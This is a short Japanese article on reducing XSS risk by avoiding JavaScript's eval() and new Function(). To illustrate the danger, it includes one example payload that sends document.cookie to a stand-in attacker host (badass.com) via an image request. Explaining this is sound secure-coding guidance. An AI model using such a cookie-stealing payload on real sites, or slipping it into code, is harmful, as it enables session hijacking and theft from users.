XSS攻撃のリスクの1つを低減し、evalとFunctionコンストラクタの使用を避ける


通常:eval()とnew Function()の使用は避けます.動的実行コードは、速度が遅いだけでなく、潜在的なセキュリティリスクもあります.一般的には、より良い代替案を見つけることができます.
evalとnew Functionの使用を避けることは確かにXSS攻撃のリスクを低減する一つであり、注意は「一つ」であり、すべての方法ではなく、XSS攻撃の脆弱性が多く、塞ぐ必要がある.
XSS、つまりCross Site Scriptingは、あくまでサイトに脆弱性があり、ブラウザ側でユーザーが決定したscriptコンテンツを実行する.このようなscriptは完全に暴走しているため、ユーザーのクッキーを第三者サイト(つまり悪人のサイト)に送信するなど、すべてのscriptであってもよい.
最も簡単で直接的な例.
//          input     
input = 'new Image().src="http://badass.com/"+document.cookie';

//      eval  input
eval(input);

これにより、ユーザーのクッキーが漏れ、悪人はこれらのクッキーを利用して悪いことをすることができます.例えば、ユーザーの情報を盗んだり、ユーザーのお金を盗んだりすることができます.
XSS攻撃を防ぐということは、Webページに任意のユーザーが入力した内容を実行させないようにすることです.evalとnew Functionの2つの方法は、生まれながらにして1つの文字列をscriptとして実行しても、誰も入力できない文字列がどこから来たのか、処理されたのかもしれません.処理されていないかもしれませんが、処理されていない文字列はevalに何をさせることができます.実際、ほとんどがevalやnew Functionを使う場合、同じ機能を他の方法で実現できるので、使わないでください.